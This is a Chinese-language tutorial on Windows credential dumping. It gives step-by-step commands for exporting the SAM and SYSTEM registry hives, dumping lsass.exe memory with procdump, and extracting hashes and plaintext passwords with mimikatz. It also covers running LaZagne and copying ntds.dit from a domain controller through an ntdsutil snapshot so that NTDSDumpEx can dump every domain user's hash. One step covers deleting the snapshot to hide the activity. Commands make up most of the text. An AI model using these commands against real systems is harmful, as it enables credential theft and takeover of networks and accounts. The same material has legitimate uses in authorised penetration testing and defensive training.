注册表读取密码主要获取的是两个文件:
reg save HKLM\SYSTEM Sys.hivreg save HKLM\SAM Sam.hiv
导出注册表之后,我们可以通过 mimikatz 读取密码 hash 值:
mimikatz 读取密码 mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv" exit> hiv.txt
其中:NTLM 加密的 hash 就是管理员登陆的加密密码!
lsass.exe 是一个系统进程,用于微软 Windows 系统的安全机制。它用于本地安全和登陆策略 zhi。
要想读取内存的密码,前提是用户登陆过机器,登陆过就会在内存中停留:lsass.exe
使用工具:procdump.exe
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后再通过 mimikatz 读取:
08 或者 08 以下的机器读取的是明文密码:测试机器是 Windows server 2008
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
LaZagne 是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术(明文,API,自定义算法,数据库等)存储其密码。开发该工具的目的是为最常用的软件找到这些密码。
下载地址:
https://github.com/AlessandroZ/LaZagne
https://github.com/AlessandroZ/LaZagne/releases
获取所有密码:lazagne.exe all
前提是拿到域控!
windows 的密码是经过 hash 后存储的,本地存在 hklm\sam,hklm\system 注册表中。
域里面存在域控制器的 c:\windows\ntds\ntds.dit 中
ntds.dit 其实就是一个 esent 数据库,微软本身就有一系列的文档化 api 能够操作这个数据库。
相关连接:https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx
一:创建快照
创建快照 , 必须在域控服务器上操作:
ntdsutil snapshot "activate instance ntds" create quit quit
其中:成功生成快照集 {5347834e-33bd-4c0a-a54e-13947650ae18} 这里面的 ID 要记住!
二:挂载快照
ntdsutil snapshot "mount {5347834e-33bd-4c0a-a54e-13947650ae18}" quit quit
三:复制快照到本地
copy C:\$SNAP_202010141916_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
四:卸载快照(擦屁股)
ntdsutil snapshot "unmount {5347834e-33bd-4c0a-a54e-13947650ae18}" quit quit
五:删除快照
ntdsutil snapshot "delete {5347834e-33bd-4c0a-a54e-13947650ae18}" quit quit
六:获取 key(用于解密)
通过注册表方式,吧 key 保存下来
reg save HKLM\SYSTEM c:\Sys.hiv
七:使用 NTDSDumpEx 获取所有域用户的 hash
NTDSDumpEx.exe -d ntds.dit -o hash.txt -s Sys.hiv -h
hash.txt 里面是所有域用户的账号和密码 hash。
参考文章:
https://www.jianshu.com/p/e1990751bf84
https://github.com/AlessandroZ/LaZagnehttps://github.com/AlessandroZ/LaZagne/releases/
https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx